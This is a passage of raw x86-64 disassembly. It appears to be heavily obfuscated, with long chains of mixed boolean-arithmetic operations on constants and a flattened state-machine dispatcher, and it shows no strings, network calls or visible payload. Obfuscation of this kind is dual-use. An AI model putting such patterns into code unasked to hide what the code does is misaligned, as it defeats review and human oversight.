not ecx
mov edx, esi
or edx, 0xeaff2b7e
and ecx, 0x286b2376
or ecx, r12d
mov edi, edx
and edi, 0x8febd69e
and esi, 0x10000001
or esi, edi
not edx
and edx, r10d
and r10d, 0x3d6af7f5
xor r10d, esi
xor r10d, 0x9fead69d
or edx, r10d
xor edx, ecx
xor ebx, 0xb5d11cc6
and ebx, eax
or ebx, edx
mov eax, ebx
and eax, 0xd25c9294
or eax, 0x28034442
and ebx, 0x2da36d6b
xor ebx, eax
mov eax, ebx
xor eax, 0x156990b7
mov ecx, ebx
xor ecx, 0xea966f48
or ecx, eax
xor ebx, 0x60a362d4
and ebx, ecx
mov eax, ebx
xor eax, 0x8a350d9c
or eax, ecx
xor ebx, ecx
xor ebx, 0x75caf263
and ebx, eax
mov eax, r15d
and eax, 0xbae01e84
mov ecx, r15d
and ecx, 0x451fe17b
or ecx, 0x98801e04
xor ecx, eax
mov eax, r15d
and eax, 0x80000
mov edx, ecx
and edx, 0xb4240811
and ecx, 0x4bd3f7ee
add eax, edx
add eax, 0x52e686
xor eax, ecx
and r15d, 0xf133e96a
mov ecx, r15d
xor r15d, eax
xor eax, 0x9012e802
xor ecx, 0xf133e96a
and ecx, eax
xor r15d, 0x672d077d
or ecx, r15d
mov r10d, ecx
not r10d
and r10d, ebx
mov r12d, ebx
or r12d, 0x8e000724
mov edx, ebx
and edx, 0x8e000724
and r15d, 0xc000004
mov esi, ecx
and esi, 0x82000720
or esi, r15d
mov eax, ebx
xor eax, 0x8a000104
and eax, edx
not edx
mov r15d, r12d
and r15d, 0xfb0fa016
mov edi, edx
and edi, 0xea028104
or eax, edi
mov edi, ebx
and edi, 0xf058c9
or edi, r15d
xor edi, eax
xor edi, 0x11fd79db
mov eax, ebx
and eax, 0x609ee042
and r12d, 0x9f611a9d
or r12d, eax
mov eax, ebx
and eax, 0x520
and edx, 0x9f611a9d
add eax, edx
add eax, 0x609ee042
xor eax, r12d
xor ebx, 0x8e000724
or ebx, eax
not ebx
or ebx, edi
mov eax, esi
and eax, 0x6000000
and ecx, 0x71fff8db
or ecx, eax
or esi, 0x262e5009
xor esi, ecx
mov eax, esi
xor eax, 0xa82e572d
xor esi, 0x57d1a8d2
and esi, ebx
not ebx
and ebx, eax
or esi, ebx
mov eax, r10d
and eax, 0xc64177d6
or eax, 0x39268801
mov ecx, r10d
and ecx, 0x39be8829
xor ecx, eax
mov eax, ecx
xor eax, 0xff67ffd7
mov edx, esi
xor edx, 0x39be8829
or edx, eax
xor ecx, esi
xor ecx, 0x39268801
and ecx, eax
xor ecx, edx
not ecx
and esi, r10d
mov eax, esi
and eax, 0xa32261d0
or eax, 0x10999806
mov ebx, esi
and ebx, 0x5cdd9e2f
xor ebx, eax
xor ebx, ecx
and esi, ecx
mov eax, ebx
xor eax, esi
xor eax, 0x10999806
xor ebx, 0x10999806
and ebx, esi
or ebx, eax
mov eax, ebx
mov r10d, ebx
mov edi, ebx
mov r12d, ebx
mov edx, ebx
and edx, 0x310718ea
or edx, 0x6f8a511
mov r15d, ebx
and r15d, 0xcef8e715
xor r15d, edx
mov edx, r15d
xor edx, 0xf7cb4c5b
or edx, ebx
xor r15d, ebx
and ebx, 0x190a9b13
or eax, 0xe6f564ec
and r10d, 0xe6f564ec
mov esi, ebx
xor esi, 0xc026d4ea
and esi, eax
or edi, 0xfffd6ffd
mov ecx, edi
and ecx, 0xb0495454
and r12d, 0x28002
or r12d, ecx
not edi
and edi, esi
and esi, 0x592e9bbb
xor esi, r12d
xor esi, 0x304b9016
or edi, esi
xor edi, r10d
xor edi, 0xd92c4ff9
xor ebx, 0x190a9b13
mov ecx, ebx
and ecx, 0x21101
and eax, 0xddf8ce1a
or eax, ecx
or ebx, r10d
xor eax, r10d
xor eax, 0x220731e5
and eax, ebx
or eax, edi
mov ecx, eax
xor ecx, 0x190a9b13
xor eax, 0x17c68da6
or eax, ecx
xor r15d, 0x834b3a4
and r15d, edx
mov ecx, eax
not ecx
and ecx, r15d
xor r15d, eax
xor r15d, ecx
mov ecx, r14d
xor ecx, 0x843e24b
mov esi, r14d
mov r10d, r14d
mov eax, r14d
mov ebx, r14d
and ebx, 0xf4e5e31e
xor r14d, 0x359feaa
and r14d, r9d
mov edx, ebx
xor edx, r14d
xor edx, 0x41e20a
xor ebx, 0x41e20a
and ebx, r14d
or ebx, edx
mov edx, ebx
xor edx, 0x6653709e
and edx, ecx
or ecx, r9d
and r13d, 0x82000820
and esi, 0x1098338a
or esi, r13d
and r10d, 0x6d67c455
or r10d, esi
mov esi, r10d
xor esi, 0x6524261e
mov edi, ecx
and edi, 0x6d67c455
xor eax, ecx
and ecx, 0x92983baa
or ecx, 0x64244445
xor ecx, edi
mov edi, ecx
xor edi, 0xf6bc7fef
xor r10d, 0x9adbd9e1
and r10d, edi
xor ecx, 0x9438010
and ecx, esi
xor eax, 0xf7bc1db4
or eax, r9d
not eax
or eax, ecx
or eax, r10d
mov r10d, eax
not r10d
mov ecx, eax
and ecx, 0x6d496c7f
mov edi, ebx
xor edi, 0x99ac8f61
and edi, r9d
or edi, edx
xor ebx, edi
xor ebx, 0x6653709e
and ebx, edi
mov edx, eax
xor edx, 0x5014c23
and edx, ecx
and ecx, ebx
mov esi, eax
and esi, 0x5014c23
xor esi, edx
xor esi, 0x85b5cfa3
and edx, 0x5014c23
or edx, esi
mov edi, ebx
and edi, 0x85b5cfa3
or edi, 0x840004c
and ebx, 0x7a4a305c
xor ebx, edi
xor ebx, edx
mov edx, ebx
mov edi, ecx
xor edi, ebx
xor edi, 0x720a3010
mov esi, edi
and esi, ecx
xor ebx, 0x60082010
and ebx, ecx
not ecx
xor edx, 0x8df5cfef
and edx, ecx
or edx, ebx
xor edx, esi
and ebx, edi
or ebx, edx
mov ecx, r10d
and ecx, eax
and eax, 0x29086950
and r10d, 0xd6f7968f
or r10d, eax
xor r10d, 0xd6f7968f
and ecx, 0xffffffdf
or ecx, r10d
mov r14d, ebx
xor r14d, 0x6d496c5f
lea r9d, [rcx + 0x20]
mov eax, ebx
xor eax, 0xe8f03d9b
mov esi, ebx
xor esi, 0x92b693a0
or esi, eax
mov edx, ebx
or edx, 0x7a46ae3b
xor edx, 0x7f4fee7f
or eax, edx
mov r12d, ecx
and r12d, 0x85b951c4
mov edi, ecx
xor edi, 0x85b951e4
or edi, r12d
not esi
and esi, edx
xor esi, eax
mov eax, edi
and eax, 0xffffffdf
mov edx, eax
xor edx, 0x6727c902
xor ecx, 0x291100
and ecx, r12d
mov r10d, edx
xor eax, 0xffffffdf
mov r13d, eax
and r13d, 0x1bcc4c01
and edx, 0xe433b3de
or edx, r13d
or eax, r12d
xor edx, r12d
or r12d, 0x8594c8c6
xor ecx, r12d
or r10d, 0x8594c8c6
or edi, 0x7a6b3739
xor edi, r10d
mov r10d, edi
xor r10d, 0x81000
and r10d, ecx
not ecx
xor edi, 0xe7b341e4
and edi, ecx
or edi, r10d
xor edx, 0x7fefcd03
and edx, eax
or edx, edi
mov eax, esi
xor eax, 0x1ac5778a
mov ecx, edx
and ecx, 0xe53a8875
or ecx, 0x8453780
and edx, 0x1ac5778a
xor edx, ecx
mov ecx, edx
xor ecx, 0xed7fbff5
xor esi, 0xe53a8875
and esi, ecx
xor edx, 0x1280400a
and edx, eax
or edx, esi
and r14d, r9d
xor ebx, r9d
xor ebx, 0x6d496c5f
or ebx, r14d
mov eax, edx
and eax, 0x5bce1f7c
xor eax, ebx
mov ecx, edx
xor ecx, ebx
not ebx
or ebx, edx
and edx, 0xa431e083
or edx, 0x1ac01b00
xor eax, edx
and ebx, ecx
mov ecx, eax
xor ecx, ebx
xor ecx, 0xe53fe4ff
xor eax, 0xe53fe4ff
and eax, ebx
or eax, ecx
mov edx, eax
and edx, 0x563e2c9a
or edx, 0x9005300
mov ecx, eax
and ecx, 0xa9c1d365
xor ecx, edx
mov ebx, eax
xor ebx, ecx
xor ecx, 0xf6ffacff
or ecx, eax
xor ebx, 0x9005300
and ecx, ebx
mov edx, ecx
xor edx, eax
and edx, ebx
mov ebx, eax
and ebx, 0xa4a3d9c2
and eax, 0x5b5c263d
or eax, 0xa0a01800
xor eax, ebx
mov ebx, eax
xor ebx, 0xfbfc3e3d
mov edi, ecx
and edi, 0xa4a3d9c2
or edi, 0x4354221d
and ecx, 0x5b5c263d
xor ecx, edi
mov edi, ecx
xor edi, 0xe7f7fbdf
xor eax, 0x403c1c2
and eax, edi
xor ecx, 0x18080420
and ecx, ebx
or ecx, edx
or ecx, eax
mov edx, ecx
not edx
and edx, r15d
mov r10d, r15d
xor r10d, ecx
xor r10d, edx
mov r14d, r15d
and r14d, 0x9903995d
mov edx, ecx
or edx, 0x66fc66a2
mov esi, edx
not esi
mov r9d, ecx
and r9d, 0x66fc66a2
and r15d, 0x66fc66a2
or r15d, 0x98008855
and edx, 0xae0a6a3c
mov ebx, esi
and ebx, 0x11019141
or ebx, edx
mov edx, ebx
xor edx, 0x51f595c3
mov edi, ebx
xor ebx, 0xae0a6a3c
mov r12d, ebx
or ebx, r9d
not r9d
xor edi, 0xc263434a
and edi, edx
and esi, 0x91029009
or esi, edi
mov edi, ecx
and edi, 0x60080022
mov eax, r9d
and eax, 0xc602114
add eax, edi
add eax, 0x3020681
mov edi, ecx
and edi, 0x2944680
xor edi, eax
mov eax, edi
xor eax, 0x630b0ee3
xor edi, 0x9cf4f11c
and edi, esi
not esi
and esi, eax
or edi, esi
and r12d, 0x89021805
and edx, 0x10ddc158
or edx, r12d
and ecx, 0x662026a2
and r9d, 0x10ddc158
or r9d, ecx
xor r9d, edx
not r9d
and r9d, ebx
or r9d, edi
xor r9d, r14d
xor r9d, r15d
mov eax, r9d
xor eax, 0x1031108
mov ecx, r10d
xor r9d, 0xfefceef7
and r9d, r10d
xor r10d, 0x6ee49458
mov edx, eax
and edx, 0x6ee49458
and eax, 0x911b6ba7
or eax, 0x26e40458
xor eax, edx
mov edx, eax
xor edx, 0xb7ff6fff
xor ecx, 0x911b6ba7
and ecx, edx
xor eax, 0x48009000
and eax, r10d
or r9d, eax
or r9d, ecx
mov eax, 0x1f53ad1b
jmp 0x140080650
cmp eax, 0x58a11e19
je 0x14008062b
cmp eax, 0x71946ac1
jne 0x140080650
mov eax, 0x3117fdc4
jmp 0x140080650
cmp eax, 0x22c0f4b1
jne 0x1400810e0
mov eax, 0x1f53ad1b
mov r9d, dword [rbp + 0x4c8]
jmp 0x140080650
mov dword [rbp + 0x4c8], r11d
mov eax, dword [rbp + 0x4c8]
cmp eax, 0x41
setge byte [rbp + 0x484]
mov eax, r8d
jmp 0x140080650
cmp byte [rbp + 0x484], 0
mov eax, 0x22c0f4b1
mov ecx, 0x58a11e19
cmovne eax, ecx
jmp 0x140080650
cmp eax, 0x1f53ad1b
jne 0x140080650
mov r10d, dword [rbp + 0x410]
mov eax, r10d
and eax, 0xa06206ca
mov ecx, r10d
and ecx, 0x5f9df935
or ecx, 0x620008
xor ecx, eax
mov edx, ecx
xor edx, 0xff9dfff7
mov ebx, ecx
xor ebx, 0x3c382075
and ebx, edx
mov eax, ecx
and eax, 0xc3a5df82
xor eax, 0x200000
or eax, ebx
xor ecx, 0x620008
or ecx, edx
xor eax, 0xc3a5df82
and eax, ecx
mov edx, eax
and edx, 0x1ba9fcee
mov ecx, eax
xor ecx, 0xa0020200
and ecx, eax
mov ebx, eax
or ebx, 0xe4560311
xor edx, 0xb1aab604
and edx, ebx
mov r15d, eax
or r15d, 0xee574bfb
mov ebx, eax
and ebx, 0xa0020200
xor ebx, 0xaa034aea
and ecx, 0xe4560311
or ecx, ebx
mov ebx, r15d
and ebx, 0x921be1fb
and eax, 0x1a01404
or eax, ebx
not r15d
and r15d, edx
and edx, 0x3ba9feee
xor edx, eax
xor edx, 0x13b9f5ff
or r15d, edx
xor r15d, ecx
mov eax, r15d
and eax, 0x8b181a5c
or eax, 0x34434021
and r15d, 0x74e7e5a3
xor r15d, eax
mov eax, r15d
xor eax, 0x2feabccf
mov ecx, r15d
xor ecx, 0xd0154330
mov edx, r15d
or edx, 0x2769e20a
xor edx, 0xf77de33a
xor r15d, 0xf77ca13a
and r15d, eax
or r15d, edx
or ecx, eax
xor r15d, 0x2769e20a
and r15d, ecx
mov ecx, r15d
xor ecx, 0x2e69652b
mov edx, ecx
and edx, 0xe043fd87
or edx, 0xaa80010
mov eax, ecx
and eax, 0x1fbc0278
xor eax, edx
and ecx, 0x2e69652b
mov edx, ecx
xor edx, eax
xor edx, 0x24c1653b
xor eax, 0x2441652b
and eax, ecx
or eax, edx
mov ecx, r10d
and ecx, 0xfb1401a1
or ecx, 0x688008
mov r12d, r10d
and r12d, 0x4ebfe5e
xor r12d, ecx
mov ecx, r12d
xor ecx, 0xbaad4363
or r12d, 0x453a3c94
xor r12d, 0x457abc9c
or r12d, ecx
mov ecx, r10d
and ecx, 0xbac5c36b
mov edx, r12d
xor edx, 0x29379af7
mov ebx, r10d
and ebx, 0x92c04108
or ebx, 0x29151af2
mov esi, r10d
and esi, 0x28058263
xor esi, ebx
mov ebx, esi
xor ebx, 0xffdd7ffa
mov edi, r12d
xor edi, 0xd6c86508
and edi, ebx
xor esi, 0x228005
and esi, edx
or esi, edi
mov edx, r12d
xor edx, ecx
not r12d
or r12d, ecx
and r12d, edx
or r12d, esi
mov ecx, r10d
and ecx, 0x3e90666b
mov edx, r10d
and edx, 0xc16f9994
or edx, 0x2a106008
xor edx, ecx
xor edx, r12d
mov ecx, r12d
xor ecx, r10d
xor ecx, 0x94aca640
xor r12d, 0x94aca640
and r12d, r10d
or r12d, ecx
mov ecx, edx
xor ecx, 0x414339b7
or ecx, r12d
xor r12d, edx
xor r12d, 0xbebcc648
and r12d, ecx
mov r10d, r9d
not r10d
mov ebx, r9d
and ebx, 0x437fed4a
mov ecx, r9d
and ecx, 0xbc8012b5
or ecx, 0x4127600a
xor ecx, ebx
xor ecx, 0x2588d40
or ecx, r9d
mov edi, r9d
and edi, 0x25b4148
xor edi, 0xadb43e9
mov esi, r9d
xor esi, 0xbedb53fd
and esi, ebx
mov ebx, ecx
and ebx, 0xadb43e9
and ecx, 0xf524bc16
or ecx, 0x8004140
xor ecx, ebx
mov edx, esi
not edx
or edx, r9d
not edx
and edx, 0x25b4148
or esi, edi
or esi, edx
mov edx, esi
xor edx, ecx
xor edx, 0x4924ed42
and edx, esi
xor ecx, 0x25b0008
or ecx, esi
xor ecx, edx
mov edx, ecx
not edx
mov edi, ecx
xor edi, 0x8801225
and edi, edx
mov edx, ecx
or edx, 0x437fed4a
and edi, 0xbc8012b5
mov r14d, ecx
and r14d, 0x437fed4a
lea r11d, [r14 - 0x4bffff70]
mov esi, ecx
and esi, 0x14000010
mov ebx, edx
and ebx, 0xa0448dc0
or ebx, esi
xor ebx, edi
lea esi, [rbx + 0x1384000]
mov edi, ecx
and edi, 0x28800011
and edx, 0x9729dbac
or edx, edi
xor edx, r14d
mov edi, r14d
xor edi, 0x4a83322f
and edi, esi
xor ebx, 0xf647adda
and ebx, r11d
or ebx, edi
xor edx, 0xbfa9dbbd
xor ecx, 0x437fed4a
or ecx, edx
not ecx
or ecx, ebx
mov edx, ecx
xor edx, 0xb735624
mov ebx, ecx
or ebx, 0xbf61617e
mov edi, ecx
xor edi, 0x4bedc8a5
and edi, edx
mov edx, ebx
and edx, 0xab6bb319
and ecx, 0x40940c80
or ecx, edx
xor ecx, edi
xor ecx, 0xebeda999
xor ebx, 0xffede9ff
and ebx, edi
or ebx, ecx
mov edx, ebx
xor edx, 0xb412375a
mov edi, ebx
and edi, 0x41963a78
xor edi, 0x41840820
mov ecx, ebx
xor ecx, 0xf5840d22
and ecx, edx
or ecx, edi
mov edx, ecx
xor edx, 0xbe69c587
mov esi, ecx
and esi, 0xc7ae538e
xor esi, 0x41861208
mov edi, ecx
xor edi, 0x863869f6
or edi, esi
mov esi, ebx
xor esi, 0x73bc64d4
xor ebx, 0x4bedc8a5
or ebx, esi
and ebx, edi
mov edi, ecx
xor edi, 0x9000a0ac
and edi, edx
mov edx, ecx
xor edx, edi
xor edx, 0x6fff5f53
xor ecx, 0x6fff5f53
and ecx, edi
or ecx, edx
mov r14d, ebx
xor r14d, 0x1638c95a
mov edi, ebx
xor edi, 0xdba443a
and edi, r14d
mov edx, ebx
or edx, 0xe47d729f
mov r11d, edx
and r11d, 0x160e96b2
mov esi, ebx
and esi, 0x9800940
or esi, r11d
xor esi, edi
xor esi, 0xd8e16b2
xor edx, 0xedff76bf
and edx, edi
or edx, esi
xor edx, ecx
xor ebx, ecx
xor ebx, 0x1638c95a
and r14d, ecx
or r14d, ebx
mov ecx, edx
xor ecx, 0xe47d729f
xor edx, r14d
xor edx, 0xe47d729f
or ecx, r14d
not ecx
or ecx, edx
mov edx, ecx
and edx, 0x6ec3b5e4
or edx, 0x80801
and ecx, 0x913c4a1b
or ecx, 0x28c13164
xor ecx, edx
mov edx, ecx
xor edx, 0xd736c69a
mov ebx, ecx
or ebx, 0xfb4c88f1
xor ebx, 0xfbcdb9f5
mov edi, ecx
xor edi, 0xd385b194
and edi, edx
or edi, ebx
xor ecx, edi
xor edi, 0x4b3770e
or edi, edx
xor ecx, 0x2c7a4e6b
and ecx, edi
or r10d, 0xd1969ad4
mov edx, r9d
and edx, 0x248000a
mov ebx, r10d
and ebx, 0x98b14025
or ebx, edx
mov r14d, r10d
and r14d, 0x25043500
or r14d, ebx
mov edx, r14d
and edx, 0xb2a41504
xor edx, 0x20280c0
xor r14d, 0xf0ec1f1e
or r14d, edx
and r9d, 0x22000528
and r10d, 0x5debeac7
or r10d, r9d
mov edx, r10d
and edx, 0xc49602b
xor edx, 0xc496003
xor r10d, 0x10b280fc
or r10d, edx
mov edx, r14d
and edx, 0xfffdff3f
xor edx, 0x1aaf6d2c
and edx, r14d
mov ebx, r14d
and ebx, 0x1aad6dac
or ebx, 0x24001052
mov edi, r10d
and edi, 0x64400203
or r14d, r10d
and r10d, 0xa296d28
or r10d, 0x64528243
xor r10d, edi
xor r10d, ebx
xor r10d, edx
xor r10d, 0x41429241
not r14d
or r14d, r10d
mov r8d, r12d
mov r11d, r12d
mov edx, r12d
mov esi, r12d
mov ebx, r12d
mov edi, r12d
and edi, 0x100108
mov r10d, r12d
or r10d, 0x3bac76d0
mov r13d, r12d
xor r13d, 0xc453892f
or r13d, r10d
and r10d, 0xfc6bc837
or r10d, edi
mov r9d, r12d
xor r10d, r12d
and r12d, 0x8d80cfea
xor r8d, 0x1008060
and r8d, r12d
and r11d, 0x70663010
and edx, 0x2190005
or edx, 0x7c006010
xor edx, r11d
and esi, 0x1008060
or esi, 0x4804600
xor esi, r8d
xor esi, edx
xor esi, 0xaff1605
and ebx, 0x727f3015
or ebx, 0x8000cf62
xor ebx, r12d
xor ebx, 0xf27fff77
xor r9d, 0x8d80cfea
or r9d, ebx
not r9d
or r9d, esi
mov r11d, r9d
xor r11d, 0x727f3015
mov edx, r9d
xor edx, 0xb62cb93a
and edx, r11d
mov ebx, r9d
xor ebx, 0x49d346c5
or ebx, edx
xor r10d, 0x38284010
and r10d, r13d
mov edx, eax
xor edx, 0x40008000
and edx, eax
and r15d, 0x40008000
xor r15d, 0x4a849408
and edx, 0x44018902
or edx, r15d
mov r8d, eax
mov edi, eax
mov esi, eax
and esi, 0x8010000c
and r8d, 0x420021
or r8d, 0x45880090
xor r8d, edx
and edi, 0x3bac76d0
xor edi, 0x8afe54bd
xor esi, r8d
xor esi, 0x1a04008
and esi, edi
xor r8d, 0x41a14902
or r8d, edi
xor r8d, esi
mov edx, ebx
mov esi, ebx
and esi, 0xb2e0d7b3
and edx, 0x4d1f284c
or edx, 0x22804682
xor edx, esi
mov esi, edx
xor esi, 0x6f9f6ece
mov edi, r10d
and edi, 0xb2e0d7b3
or edi, 0x45082048
mov r13d, r10d
and r13d, 0x4d1f284c
xor r13d, edi
mov r12d, edx
xor r12d, 0x98385838
and r12d, esi
mov esi, r13d
xor esi, 0x8170804
mov edi, r13d
xor edi, 0x4fc10d
and edi, esi
mov r15d, edx
or r15d, 0x858c909
or r13d, 0xf7a736f6
xor r13d, 0xf7eff7ff
or r13d, edi
mov esi, r15d
and esi, 0x8899f000
and edx, 0x772606f6
or edx, esi
mov edi, ebx
xor edx, r12d
xor r15d, 0x9878d939
and r15d, r12d
mov r12d, ebx
and edi, 0x9e366bbf
xor edi, r10d
xor r12d, r10d
not r10d
or r10d, ebx
xor edx, 0x9838d030
or r15d, edx
mov edx, eax
xor r15d, r13d
mov r13d, eax
and ebx, 0x61c99440
or ebx, 0x21040b3
xor edi, ebx
and r10d, r12d
mov esi, edi
xor esi, r10d
xor esi, 0xfdefbf4c
xor edi, 0xfdefbf4c
and edi, r10d
or edi, esi
mov ebx, edi
and ebx, 0xc0508439
or ebx, 0x892802
and edi, 0x3faf7bc6
xor edi, ebx
mov r12d, edi
xor r12d, 0x892802
mov r10d, r15d
and r10d, 0x4e3f9ca4
mov ebx, r12d
and ebx, 0xb1c0635b
xor ebx, r10d
mov esi, r12d
xor r12d, r15d
xor edi, 0xff76d7fd
or edi, r15d
and r15d, 0xb1c0635b
or r15d, 0xc081c80
xor ebx, r15d
and esi, 0x4e3f9ca4
or esi, 0xb040624a
xor esi, ebx
xor esi, 0x43b78135
and edi, r12d
or edi, esi
mov r12d, edi
not r12d
mov esi, edi
and esi, 0x4de1c672
mov r10d, edi
or r10d, 0x4de1c672
mov r15d, r10d
and r15d, 0x26011ca7
and r12d, 0x901e2108
or r12d, r15d
mov ebx, edi
xor ebx, 0x4010422
and ebx, esi
not esi
xor ebx, r12d
mov r15d, edi
and r15d, 0x420
xor r10d, esi
and esi, 0x26010887
add esi, r15d
add esi, 0xd1f0c210
xor esi, ebx
mov ebx, r9d
mov r12d, r9d
xor r13d, r9d
xor r9d, 0x8d80cfea
and r9d, eax
xor r8d, 0x4de1c672
xor esi, 0xd1f0d630
xor edi, 0x4de1c672
or edi, r10d
not edi
or edi, esi
mov esi, r8d
and esi, 0xb7fb9257
or esi, 0x42d28
and r8d, 0x48046da8
xor r8d, esi
mov r10d, r8d
mov esi, edi
and esi, 0xb7fb9257
or esi, 0x40004d08
and edi, 0x48046da8
xor edi, esi
mov esi, edi
xor esi, 0xf7fbdf5f
xor r8d, 0x48004080
and r8d, esi
mov r15d, ecx
not r15d
xor r10d, 0xb7ffbf7f
xor edi, 0x80420a0
and edi, r10d
mov r10d, r14d
xor r10d, 0xb2a695c4
or edi, r8d
and ebx, 0xa631f20f
xor ebx, 0x8400c20a
xor r12d, 0x2bb13de5
and edx, 0x59ce0df0
or edx, 0x86009003
and eax, 0xa631f20f
xor eax, edx
and ebx, r11d
or ebx, r12d
mov edx, eax
xor eax, 0xdfce9df3
and eax, ebx
not ebx
xor edx, ebx
xor edx, 0xdfce9df3
and edx, ebx
or eax, edx
mov edx, r13d
xor edx, 0x8d80cfea
or r9d, edx
mov esi, r13d
xor esi, 0x727f3015
xor r13d, r9d
xor r13d, 0x727f3015
or esi, r9d
not esi
or esi, r13d
mov edx, esi
and edx, 0xcde4750
or edx, 0x21209829
and esi, 0xf321b8af
xor esi, edx
mov edx, esi
xor edx, 0xdedf67d6
and edx, eax
xor esi, eax
xor esi, 0xdedf67d6
or esi, edx
mov eax, esi
and eax, 0xa94c8ce7
lea r9d, [rax + 0x42217110]
xor eax, 0xa94c8ce7
mov r8d, r9d
and r8d, 0x4804a0a0
mov ebx, esi
xor ebx, 0x81480c46
and ebx, eax
and eax, 0x20000001
or eax, r8d
mov edx, eax
and edx, 0x600080a1
and r9d, 0x8042000
add edx, r9d
add edx, 0x5021e54
xor edx, ebx
xor edx, 0x33805e5d
xor eax, 0x20000001
and eax, ebx
or eax, edx
and esi, 0x56b37318
xor esi, eax
mov eax, esi
xor eax, 0x283593b1
mov edx, esi
xor edx, 0xd7ca6c4e
and edx, eax
xor esi, edx
xor esi, 0xd7ca6c4e
or esi, edx
mov eax, esi
and eax, 0xab469b10
or eax, 0x50b0608d
and esi, 0x54b964ef
xor esi, eax
mov eax, esi
xor eax, 0xaf4f9f72
mov edx, edi
not edx
and edx, eax
xor esi, 0x50b0608d
and esi, edi
or edx, esi
and esi, eax
and eax, edi
xor edx, eax
xor esi, edx
mov eax, ecx
and eax, 0x4093dba5
or eax, 0x3e64205a
mov edx, ecx
and edx, 0xbf6c245a
xor edx, eax
mov r8d, edx
xor r8d, 0xc19bdfa5
mov eax, r14d
xor eax, 0x4d596a3b
xor edx, 0x3e64205a
mov ebx, edx
or ebx, r10d
and edx, eax
and r8d, r10d
or r8d, edx
xor r8d, ebx
mov r9d, r8d
not r9d
mov eax, ecx
and eax, 0xd240d802
or eax, 0x2049
or r15d, 0xde6c8a14
and r15d, 0xff7c8ab4
xor r15d, eax
mov eax, r15d
xor eax, 0xca20210
and ecx, 0xcaf275d
lea edx, [rcx - 0x2dbf27fe]
xor r15d, 0xd754f
and r15d, edx
xor ecx, 0x2d3107b0
and ecx, eax
or ecx, r15d
mov r12d, r14d
xor r12d, 0x41f64d66
mov edx, r12d
and edx, 0x84a6247d
mov ebx, ecx
and ebx, 0x84afa47d
or ebx, 0x29001a80
and ecx, 0x7b505b82
and r14d, 0x98000
add edx, r14d
add edx, 0x19105080
and r12d, 0x7b505b82
xor r12d, edx
xor r12d, ecx
xor r12d, ebx
mov r10d, r12d
xor r10d, 0xcfefb5ff
mov r15d, r10d
and r15d, 0x260dd63e
mov r13d, r12d
and r13d, 0xd9f229c1
mov r11d, r9d
mov ebx, r9d
mov r14d, r10d
or r10d, r9d
and r9d, 0x20cc21a
or r9d, 0x332424
and r11d, 0x90c00100
or r11d, 0x10
and ebx, 0x493228c1
or ebx, 0x8080440c
xor ebx, r11d
mov edi, r8d
or edi, 0xdbfeebdb
xor edi, r9d
xor edi, ebx
xor edi, 0xa6beb606
mov ebx, r8d
xor ebx, 0xd9f229c1
xor r8d, 0x260dd63e
or r8d, ebx
not r8d
or r8d, edi
mov ecx, r15d
not ecx
mov edx, r13d
xor edx, 0xefeff7ff
mov ebx, r12d
xor ebx, 0x200c436
and ebx, r15d
mov eax, r13d
xor eax, 0xcd3d5188
and eax, edx
or r13d, 0xdd2d5988
and r14d, 0x91008
xor r15d, edx
xor edx, ecx
and ecx, 0xc5044100
add ecx, r14d
add ecx, 0x2082a441
xor ecx, ebx
mov ebx, r13d
and ebx, 0x451651c1
and r12d, 0xc02000
or r12d, ebx
xor r13d, 0xdd3d5988
and r13d, eax
and eax, 0xd9fb29c9
xor eax, r12d
xor eax, 0x41100180
or r13d, eax
xor r13d, ecx
xor r13d, 0x38abbcc9
or edx, r15d
not edx
or edx, r13d
xor edx, r8d
mov eax, r10d
not eax
and eax, edx
xor r10d, edx
xor r10d, eax
mov ebx, esi
and ebx, 0x1f489344
lea r8d, [rbx + 0x60b00cb3]
mov ecx, ebx
xor ecx, 0x1f489344
mov edx, esi
and edx, 0xd338e252
or edx, 0x2c47198d
mov edi, esi
and edi, 0x2cc71dad
xor edi, edx
mov edx, edi
xor edx, 0x330f8ac9
mov eax, esi
not eax
xor edi, 0xccf07536
and edi, eax
mov r15d, edx
and r15d, esi
or r15d, edi
and r15d, edx
mov r14d, r10d
and r14d, 0xe0b76cbb
lea eax, [r14 + 0x1c000300]
mov edx, r10d
and edx, 0x1f489344
xor edx, eax
mov dword [rbp + 0x410], edx
mov eax, r8d
and eax, 0x12086e0
xor esi, 0x8480104
and esi, ecx
and ecx, 0x16001000
or ecx, eax
xor ecx, 0x96027819
or esi, ecx
mov eax, esi
xor eax, 0x8540002
and eax, 0x8d56825a
mov ecx, esi
and ecx, 0x12287da5
or ecx, eax
xor ecx, 0xb557ca28
mov r11d, esi
xor r11d, 0x9722fef9
mov eax, r11d
and eax, 0xa001040
or eax, ecx
and r8d, 0x55d88b24
xor ebx, 0x3569a797
or ebx, r8d
mov ecx, ebx
xor ecx, 0x7f79bff7
and ecx, eax
not eax
mov edx, r15d
and edx, 0x2a2134d3
mov edi, ebx
xor edi, 0x7ff8bff7
or ebx, 0x80064008
and ebx, eax
or ecx, ebx
and ebx, edi
and edi, eax
xor ecx, edi
or ebx, ecx
mov eax, r15d
and eax, 0xd5decb2c
mov r8d, eax
xor r8d, 0x4912a796
mov edi, r8d
or edi, 0x5d4314bb
mov ecx, r15d
or ecx, 0xaabdffd7
xor ecx, edi
mov r12d, r15d
xor r12d, 0x22202040
and r12d, edx
xor eax, 0xd5decb2c
mov r13d, eax
or eax, edx
not edx
mov edi, r15d
and edi, 0x20200000
mov r9d, edx
and r9d, 0x2006240
add edi, r9d
add edi, 0x4c400028
xor edi, r12d
mov r9d, edi
xor r9d, 0xecfc892c
mov r12d, ecx
xor ecx, 0x2a3197d7
and ecx, r9d
xor r12d, 0x6000
xor edi, 0x130376d3
and edi, r12d
or edi, ecx
mov r12d, dword [rbp + 0x410]
xor r12d, 0xfcb76fbb
and r12d, r10d
xor r14d, 0xe0b76cbb
and r13d, 0x504a8308
and r8d, 0x859448b4
or r8d, r13d
mov ecx, r15d
and ecx, 0xa203442
and edx, 0xa59548b5
or edx, ecx
xor edx, r8d
xor edx, 0xdeeefffa
and edx, eax
or edx, edi
mov eax, ebx
xor eax, 0x4625c679
mov ecx, edx
and ecx, 0x4625c679
or ecx, 0x21981982
and edx, 0xb9da3986
xor edx, ecx
mov ecx, edx
xor ecx, 0x67bddffb
xor ebx, 0xb9da3986
and ebx, ecx
xor edx, 0x98422004
and edx, eax
mov eax, esi
xor eax, 0x130881e4
and eax, r11d
mov ecx, esi
or ecx, 0xdbd780fa
mov edi, ecx
and edi, 0xc51ea4c
and esi, 0x281501
or esi, edi
xor esi, eax
xor esi, 0x2859814c
xor ecx, 0xfbdf81fe
and ecx, eax
or ecx, esi
mov eax, r15d
